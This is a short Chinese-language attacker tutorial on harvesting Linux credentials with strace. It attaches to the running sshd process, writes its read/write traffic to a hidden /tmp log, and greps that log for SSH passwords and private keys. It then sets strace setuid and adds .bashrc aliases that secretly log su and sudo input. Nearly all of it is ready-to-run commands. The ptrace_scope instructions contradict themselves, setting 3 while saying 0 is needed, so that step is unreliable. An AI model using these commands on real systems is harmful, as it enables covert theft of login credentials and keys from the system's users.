1、安装Strace
apt install strace -y
2、开启strace功能
由于Linux Kernel 3.4及更高版本支持完全限制或禁用strace的功能。这可以通过使用sysctl将kernel.yama.ptrace_scope设置为1、2或3来完成。
将其限制设置为3
sysctl kernel.yama.ptrace_scope=3
查看权限等级
cat /proc/sys/kernel/yama/ptrace_scope
当显示为0的时候,即可正常使用Strace
3、获取sshd进程密码
strace获取log
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
Log文件太大,需要进行正则匹配
grep -a -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
经过测试strace可以实时抓取在线的登录(爆破)日志,如下图所示我进行了两次失败的登录测试,都成功抓到了密码
抓到的密码不能过分相信,因为可能有大量的爆破密码被strace所抓取,其实更恰当的是我们可以理解为它是一个ssh登录账户密码监听器
4、获取获取sshd进程私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
当用户通过私钥登录时,使用如下命令查看记录的私钥
grep 'PRIVATE KEY' /tmp/.sshd.log
如果成功匹配到,我们需要根据格式进行转换,如\n转为换行之类等
5、收集su、sudo凭证
chmod +s /usr/bin/strace
vi ~/.bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
source ~/.bashrc
但是经过测试 不知道为啥没有生成对应的日志,效果不大好?